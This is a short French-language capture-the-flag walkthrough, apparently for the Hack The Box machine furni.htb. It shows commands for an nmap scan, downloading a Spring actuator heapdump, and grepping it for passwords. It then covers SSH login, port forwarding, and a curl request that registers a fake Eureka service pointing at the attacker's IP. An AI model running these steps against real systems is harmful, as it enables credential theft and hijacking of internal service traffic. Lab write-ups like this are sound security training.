Reconnaissance initiale

🔍 Reconnaissance initiale

Scan Nmap :

• 22 (SSH)
• 80 (HTTP)
• 8761 (HTTP - Eureka Dashboard)

Domaine découvert : furni.htb.🧭 Path Découvert /actuator . Via dirsearch, le chemin /actuator révèle un fichier heapdump de 76MB :

wget http://furni.htb/actuator/heapdump

Analyse avec strings : strings heapdump | grep -i 'user=\|pass=\|password='

🔑 Accès SSH Connexion avec les identifiants extraits :

ssh user@furni.htb

Captures d’écran

🛠️ Port Forwarding & Exploitation Eureka

ssh -L 8761:localhost:8761 user@furni.htb

Enregistrement d’un faux service :

Remplacer YOURIP par l’IP de l’attaquant.

        curl -X POST http://EurekaSrvr:0scarPWDisTheB3st@127.0.0.1:8761/eureka/apps/USER-MANAGEMENT-SERVICE \
-H 'Content-Type: application/json' \
-d '{"instance": {"instanceId": "USER-MANAGEMENT-SERVICE","hostName": "YOURIP","app": "USER-MANAGEMENT-SERVICE","ipAddr": "YOURIP","vipAddress": "USER-MANAGEMENT-SERVICE","secureVipAddress": "USER-MANAGEMENT-SERVICE","status": "UP","port": { "$": 8081, "@enabled": "true" },"dataCenterInfo": {"@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo","name": "MyOwn"}}}'